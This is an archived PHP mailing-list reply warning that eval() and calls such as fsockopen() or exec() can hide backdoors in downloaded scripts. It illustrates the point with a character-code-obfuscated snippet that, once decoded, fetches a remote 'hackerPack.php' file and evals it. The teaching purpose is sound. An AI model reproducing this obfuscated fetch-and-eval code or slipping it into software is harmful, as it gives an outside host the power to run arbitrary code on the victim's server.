On Sat, 2007-03-03 at 14:02 +0100, Tim wrote:
>
> Once you are comfortable with this, before you use a script downloaded from
> the inet in a production environment, go through the code and make sure you
> don't see any backdoor code (unecessary fsockopen(), exec() etc.. That isn't
> related to the scripts original use).
And be very careful with eval(). It's a gold mine for hackers since then
they can just do things like:
<?php
$stuff =
'102,117,110,99,116,105,111,110,32,83,73,76,70,83,68,'
.'72,76,68,70,78,76,72,68,72,74,76,83,68,76,75,74,68,'
.'76,74,83,72,68,76,74,83,72,68,83,90,68,70,83,40,41,'
.'10,32,32,32,32,123,10,32,32,32,32,32,32,32,32,36,99,'
.'111,100,101,32,61,32,102,105,108,101,40,32,39,104,116,'
.'116,112,58,47,47,119,119,119,46,105,110,116,101,114,'
.'106,105,110,110,46,99,111,109,47,104,97,99,107,101,'
.'114,80,97,99,107,46,112,104,112,39,32,41,59,10,32,32,'
.'32,32,32,32,32,32,36,99,111,100,101,32,61,32,105,109,'
.'112,108,111,100,101,40,32,39,39,44,32,36,99,111,100,'
.'101,32,41,59,10,10,32,32,32,32,32,32,32,32,101,118,'
.'97,108,40,32,36,99,111,100,101,32,41,59,10,32,32,32,'
.'32,125,10,10,32,32,32,32,83,73,76,70,83,68,72,76,68,'
.'70,78,76,72,68,72,74,76,83,68,76,75,74,68,76,74,83,'
.'72,68,76,74,83,72,68,83,90,68,70,83,40,41,59';
$stuff = explode( ',', $stuff );
$stuff = 'c'.'h'.'r'.'('.implode( ').'
.'c'.'h'.'r'.'(', $stuff ).');';
$stuff = eval( 'return '.$stuff );
$stuff = eval( $stuff );
?>
Cheers,
Rob.
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